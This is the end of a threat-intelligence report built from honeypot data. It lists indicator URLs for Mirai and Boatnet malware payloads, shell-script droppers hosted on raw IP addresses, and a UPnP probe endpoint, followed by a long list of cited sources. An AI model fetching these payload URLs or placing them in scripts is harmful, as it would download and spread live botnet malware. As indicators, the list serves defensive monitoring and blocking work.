*   `http://196.251.107.133/bins/px86` (Mirai x86 Payload) [cite: 20]
*   `http://2.26.98.67/hiddenbin/boatnet.m68k` (Boatnet Payload) [cite: 5]
*   `http://2.26.98.67/bin.sh` (Mirai Dropper) [cite: 23]
*   `http://87.121.79.160/all.sh` (Generic Payload Dropper) [cite: 27]
*   `http://172.105.186.117:49152/upnp/control/basicevent1` (UPnP Vulnerability Check) [cite: 13]

---
**Sources & References**
- Dataset references and indicators: Extracted directly from the STIX 2.1 payload corresponding to the NadSec T-Pot Honeypot Aggregate (All Sensors), April 2026.
- Cloudzy/Kinsing Redis Analysis: `nadsec.online` Threat Reporting [cite: 1].
- Mirai Shotgun Delivery Mechanics: InfoSecHarry Medium Publication [cite: 4, 39].
- Trinity ADB Malware Mechanics: BlackAlps 2018 / Keysight Technologies [cite: 6, 7].
- Research Scanner Definitions: CIRCL Network Telescope / Shadowserver Foundation [cite: 8, 9, 15].
- Hash Verifications: VirusTotal, MalwareBazaar, ANY.RUN, URLHaus [cite: 20, 28, 31, 38].

**Sources:**
1. [nadsec.online](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQHwseNqUTZ7PlWXwd8fJinUxLCSMyfOElL0SgrjuJ5iQ1X58hHiYJpp1aWm89Du4iFyFqoZ_5MuHLEPDed704ejGl3JK8zSP5XBD2zJFi4R9fwYJOICHnvZtmMI9TQ=)
2. [abuseipdb.com](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQGbDdgOFlL3UgLld4MFegU7eJsSdbK2y1bUNQPFmjuNniE4mgETC5TyAZ1HcKLndUIdHA_sVvC_Ei5eTAghoSvBGC1ryUb8TFFN5XZJLRF5CuXK6-PJxI2s7BlOJv5wOk2_9w1D)
3. [abuseipdb.com](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQHf_MkmEnQsfyKDmXFBlkBqSEMEB3NTG1sZvg19MBwLC0KxR43KOhCc8FqPo9-L4iCqSyXHhHOgQdKSTMM97I1HL_aqoaVtGLWOSME9TsHcs0BZqgHDAeb7QJlnvCTiprYAeQ==)
4. [medium.com](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQFXPRf-stCsXSFlji3duzUypYKgxsTdE2N3qzBx4PA8nz-XL1iZ83QbQQmo8BLg6RcranGqOy3vtrNM179ZPRAKv1MPl4JthJKRT2kP-R0tSQQuWlfZpDlSg42a78YtOCIWv5x9MLlb1l0QgaKAdiOpKbZJYFmFMW31EP6kJuNwqANH1ehs9HvXFSJmJzI7Axq7vdOPCe7dXt4DGIQdaunt7s2MCeZeFQ==)
5. [socdefenders.ai](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQHUVozoAWJOEal7E1DV63hvaANS3ooDAu_cpjWMmdgo6fRXOe1eCYbNDhCxRC3HQi5dDwm9l8n0fQMsuC_PpBVbbe2nFo3jQrqTqYv6KQ1h6Cq7JpnzcAzLEOGHKhuy5mq7x7OCwlZOGRv9gsR9dBmDelrPVY5cz4H0MTkY28M=)
6. [blackalps.ch](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQFHaRKndw1cyEUB9mD4wzvZdMeodR0KDBgtlAqJaOLC9H1E7QbV3VOnitv7XYNWm92FeySDfbYW4fsahRG3f3OxaygZinqU2ZLWbzgbLbmNp3JfKNGo8CTw7U17MzHZkMjiZc3ac4_VIM7FVvu9Qc_-Rammhv3h5ZIY7c_r-lpQjA==)
7. [keysight.com](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQFzNPsUoiiwfPejRB17DZaM8mKkAJyFHz7AHyEDxZ7kq5Mc_YSRtZga_SrXsynzgO34OzFkrHF_069zRPz7REBZgn3Cr4frrK4cNA0NG8eyFwdumqXH9ai1npGEC6CwIPpmw2yB1rM0f7fRx_yQRcF-HmqiJblnHNa5M3d8QF1wpv6LnxWeHSYP)
8. [github.com](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQFRssU2l8-lCRDZ2WYaqV_1peVQ1cqn88iaOM1lOqwBDERrTP4C91e99RzNXFKrxK8muPXplZFlYDbyFTuqYlF6RP9es4M2iMfw3E8kqdEd2UrqteMxWcn44vU0YSvKMO6n1GK9GgsK-nE6X8b6Ghi2AJ1RysTl0fbbnIJQw9hYTc08vKwdJH9StGCnIpsvOCtMvCEbk9k=)
9. [netify.ai](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQFLTwyFV2sN8XapT-RZg6BUzzLxAXdkW4cHrc7hyUl82i9dZ2tjtndhpSNEw71Z5lwLMfYyZamgm_txXRwSmzOg_HcSDiH4683AYYMTbYBIggxDODDCGso81DV8k8wXpONOyY88lXLqWA==)
10. [abuseipdb.com](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQHnsnqYkdfgvJbUvXX0Wh9IW7Gedm5-2JAb2wZFuCVTUkQQrHx9R0mMxaiSGuA9ihGY3QIjKhqDTXxGoiWYBSkzPRy2BFvpT0VEn5sIcvYxWmtCTIfe-j7CpsxNALozObO60pjU)
11. [ipinfo.io](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQF5FdtCbENTLfXWMhBvvFZ96W8XLplJ2D_Mv3YPsqr6UKz___l9XopahX5JEiv5O23EIrm-7pmz_svWIWWleqiWWuK4RBT3KSTIDmiaWKZeWVhudfWkBjmT4uAgdw==)
12. [abuseipdb.com](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQFekVZGVqJo1jq8tRstixGZVlaOy-Y9155zHQV1Kb0WbnR7rRZnKYu-a7CpIyH5VTdgT1zhq8P9PuozKiuPH8AVDWlzxh8WT_8_al3yAvXF1tncMIsFC-RMRHk=)
13. [he.net](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQF-akU6mYe8V0t5j03PJoxuawx9uLeyyLutgjdecvG4oqcQoqVBcY9kBPgzCFXFKJh6pIcqsCZDbtW1Zk4pZdEVukG6KQBnKxIX45qKdu3iPJLEeagtCQ1vVI2bPw==)
14. [ipinfo.io](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQHZwE7SFohLsMN8tw40l47khuGVSCCBb_9AsvK8mx7mPx4tWXTs0iQnVX4kl5LLh0L3kul2xebKtUQpia3Bnp8YAXHEFM51bMLDCn6vXogQ9c6BellWSw==)
15. [abuseipdb.com](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQGH8Dy_6y8HyM6n7r6ohUrs-ns5pHrTQ1Wk16TFfEIU8FDVWjEogJDBQMm526-S_oyZnJa7LB6-m2M244_k3DMMAr-OolhmKmg8GTigzDZH2SLtiIiTAEOVVI6CstOKzrI3S5sp)
16. [ipinfo.io](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQElW3sea8vpvKn2MltxaFfg8bUwoUYQYXpnhB34KCb6BCl77bgQbGURVAO0j2tjklDzCaC14pVyEA8Lh7LvNY5Z7Xs9MhdD2_U2bNWafitDZ6xiAhJ7w6wYaDLdHg==)
17. [abuseipdb.com](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQELtUq8tdPZUu4FF59nSm0t_z2JdGdS-uFgCIt8fQ142h1x1fSmkjM4_gkuDpg97JO0iD3LBW0_jYSD4calyvxMn1HhxkZgaYDL5-QzfRA0BrEW4pS-GJkcQSUqJIWMr2PkxlMT)
18. [ip-tracker.org](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQESsLsHae6I1U7MyN9WwJWFxODZdDTh2JgUxxJR_KZQgvk8YtVhfEoYwq1FcJNZQSZ6oG-dOHo-1NkoHDOoiMKhiFmo2BFcC-Gnurn1yldZl1iRugyR1DS0eHxnvNOcyxBSTC8aaFz9g0AuzQ==)
19. [ellio.tech](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQHZvgpXGY3ozQfts_hyVEFNHbLO-g-feu3yIgswvzr4Xn_qjENkKjuJKX2g1oynduaXG2R6peRBw2fADfOZ5BY0uq8-fU76QIQw1N1m2n_JHaEXbq8VfFJBKq36RxZ2iwEV)
20. [urlscan.io](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQELwlwG-3KJdzbaQHY7ge1qNGZtHNgPKzxpLZWiGNve7IJ9HTQht4akoRSvRUUeXsrnibnp0bxaVRP3sP77P-OVTmArkHlYcoXyhfM9q1pUBfsW093B77s8s8hCH-CsWfwQbcUsc2jjAn2Rsn0eeQYhxSBGBvU4sJYf74b77L3-dsr5BlO6mCWPsmfjUUrui19r)
21. [urlscan.io](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQFmRshJBJflsulTEdHRNL-yE31S7tTdTx3qweUkYrComFDcLRyM728Qr01020JcmuVg3h1MYPUuYp_Rjobu0CA06L96PVC3bkpvJqu0lZVA6PwFRPFi1HBbYPGHSEKk8YyY1cRa3nbcj3dPZQHe2Kmgg9-Zem9xfJPwdUTimsbH2VFyYXxk75P4YBL4rqoaBZrX)
22. [myip.ms](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQGQLn6Msc7Zln9X4WpQfRLT3245Pu6G7iXH2phcz3suy_ASr-cyJUt3XPzCE9S78WJ9uDnnsveqqw4uUBCPJmo7H5teyk4gy9Bw2ypc0UJ1ezdjwb4UpYjrVBWAyyWUeQ==)
23. [abuse.ch](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQH7BP9Ja99tbmO5yUVlEDUntALPw8zWbRfOgzDl-SUaa4KRhnuJliJYNsNEIUInDQdj3wf069toQttCJA21DVhj_LuvhPQVoWcjjEEopV7YUYpi7Oxju-gMYnLUr5jt)
24. [abuse.ch](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQFdYLqrJ_F7Qii2LSlJwYgTktyLA64jkv1GGdmz-75sE-uKtdxYdEl7OMsbrs7ZlfuGwRpUY12Avkh5GKZIyK_c6X5qov996lpiODBovOXkS642PYDu1cD_S95if4S5vCxpNJUN)
25. [ntunhs.net](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQFETLnV-DjqTwflq_NqbWpn4nvi3xf-tAef45yE7zRa3BAmUOln-EyYaZa5s9XweKJOcxSqb8reTS66-U5AQIpFk9xyXYmUJEmcwV3u14Blgr8rmbXMTO28IsNAvFnHMuY=)
26. [abuseipdb.com](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQHr_Xw6PN3MsC5OjjNv9fgB2sJGJYFgjQq4_f3jbOaIO2AFa64yeyID_Lx_1eAp3Kucf9_v0X0q5WVB9xidI0XJc0YLeTBsL_R99ZbuiZijDnkEXF20wyfk4mYt2gwYW6bTiA==)
27. [any.run](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQEv8k8yoIkOM6DqQuMt2qpn5eurtxAGiIjZ38sXUZwzSjzabnJeEWhDpcxmPJ0qzG-KOHaQOIaO6RcBOYYwIboHrGCEzAR6tbxF3xPbAhyHRtoQHI0nr1Uhmr-psbLNLgEl-tTC-9XFK_00iDnELQmV81OSy6kDKVPliuITzHA-OV_ikQ6l2SnkQ54pV7-ZE0ibmTYcpA4mVpdxxII8X1xvFNFaf0h-VOLY6FnXPyt1mlX3)
28. [filescan.io](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQHPsGV34ji28AkqxgVCqQS-sT9SAmzuQK0YXxeq9cusYsd5Sat1Im3vLQdiNaJoKYZ98ZPvcDvxKcTF_k5AOtVvKUVdnLBKcOtxc0NK7V668WMRnaF1J5z19QSktnOQaHk8rAB0gMEebjy0UVQL5Y__VC_n1AZAlZ4s7w4tr0H_7LXFiQqOZsQ-0OgVUolGExTRjMNucisjdKiZiNcxK44jUYl3Wg==)
29. [elfdigest.com](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQETGjHwklWHyLL1FSizRf1LChwBLG5XFTSiXaOsLX_myccBH7FiEn_y-7SJN1Af4zIFUSKB3ASuCFhzADTmuHE8SqIE9SNVdk5aoSkPuHuzUmeo4kYpOZLAFTZ61u16f6wu6nUI_iijdUfl9m5W86-GBP2OqGAfvY921mvMQSxuLRWrWqRup4tPwo7dkRV4Ugu4wrfhJ1W04WOqbCALXih56hTq8IMwFpi5DiQ=)
30. [malprob.io](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQHkfWQQb0PrXGL0W1yG3G4WGaykX2icyQ6PckdSqVvbwTiXZeDLWZjHUom3mYHwVi3j4xSoz9nVejNmRtj0J36ITcFs3uVKNii2GeDNfGPdGV_IKH7HR5qAcVfeOLyU_Mh0PcUgVyyYNH_Z-gTwdo8JvMz7M-m_MMhwqXo2zUM-EdqIkPdguKOGZvMIPpFto1Q=)
31. [any.run](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQEV0qCkDFsSx3_1YEKRm-Iqp0lMPvPiyBzWMhI8QWZw86gKXnU3WCWbFBYTq-515Ko3bpOymtFRPwuem85sg-QiAg3IRyxKIiBV9Wt30I5AiSEjuTKlnGsFKuOKi8fSiFiCyF3s_3PQJDZNjUD-Fu1w0czQRHgkbsoqPbPNfqWhKgboqzHs7ECD0E24YlCas6ZkhlqRKjCgiz-LkL3KKeUf3onXit43BxtoOfMATHbm4wVQ)
32. [abuse.ch](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQE6QdGXJ2r2DB5ytixxNLavjtubvOKcnjDZBmcqoCT7gdW3xqMrg_NJWy8SMbRysustx4u4FPbfHITVuGwFPubHG-n3s4Qx7Tcr6ETJuYi0TC98p9bh6Y2aMNSq)
33. [abuse.ch](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQFOpUVVVsuGeo2BW58pHBmcsx5dXW6F-mM8g73Jg1sFRVuq5i2kDq5HF3d6rYDomYXW39pUhObGE-bjfpdqEnuOmC3yQpfdQ7Pj1Os0iGfWPbAImSIXeAJGBTrDLYE4F8Boh-U=)
34. [malprob.io](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQEcDnlGjAUm0MCo2L73QxvUpgOeBrwzdY_PY3U8KuWp6uV8zbTBJtMGDMuogiHUBxLalPyUOdFfZ3ssEbdUO8CTLNz6smsQpxBFGOabaZA5CWZd1Pud_Q9gZ7O-qf05_NxPFFwoZaAWsKI7QZOOX7b0EkmCu8TcddvEasdbIWTks5PEKgBJPHXSQR6q6AxMqqI=)
35. [abuse.ch](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQGL9l1evBB8EcoLGK0U1uES5G5TAjhPMbrErrjgoTRcwfZZz44Yro7LCDMjUGE72bfQ3A0bhlrts5NZ0FY_Hf3V9R1b1w4Pv_mKwoQWAKSojNR8T3nbI2-9bbK3OdI_oscsMNkXpBqkw4dpquPDrraA2Usqte6Ijdivn8L6QKGr6rwxSt5hej5mx72k14wpjs2LwcoPqlQ=)
36. [alienvault.com](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQF9G5kjhss2rTpH_N_cDhfzohKo4nxyURQFtm3xTxVRrLTIgJVqXvAmys5rXD9RTecbMPqO8254kgtsLL1yLSFDbQo3i-Zd0hG5-7DvFGz53pRLfwZ8HWx1VWLeCGzv2-HgheIiMiK8JfbjEe4JJTqVAR966mRILUh5VZjV2JLAvo32Z9FLc2Ogalc9dMn9GBc324KxM7I0ZIvn7vinE0H3)
37. [github.com](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQHhW6NVihiN8IrP3hyQdhUxAkkk2kcm9R2M9irlRZMxzAlEq875SzIRP9Eo4noYwM1Sdn70tVPlbI7fz_F8nAmwqRZtcf2tbIf0chy5AdmqUUYUzhQD1kBXap8VinUX8Lr01B4Sphl0ejOtXCWm1-5i0oYxxarR)
38. [abuse.ch](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQHeWZcEEeWbxU9tw6a8pTUO5e2UTCw9oBPho6h1xzl4Nk_WnlkrunqCvyOg9Kdk3yQPvVovnFLTmwlXZ7fl6tO7M1pnzl196lpqz3Ji2SBule5QyADj3bluwtQ5)
39. [medium.com](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQGBV-8C3ZVkqRVjc3E79NvBsS-AeyYN4d3vln2HbGBtrZzHhaQfCsodPBKFnHn5JiN9g-j6lLG4RQKKcJiA819kETLv0d_Hr_x7gsq2RHn8jxH05_3ovnRXNDPzjtIky6S41dZluU_Yav-_bVgLMvT8hNHXNpQ6CghMvdjTw4dWa7jL9NV9maIfw7DqWQx-2d5CvUSD-yOsTGktECwzKAvVQU8zCKa6EXZSTnNkBuU=)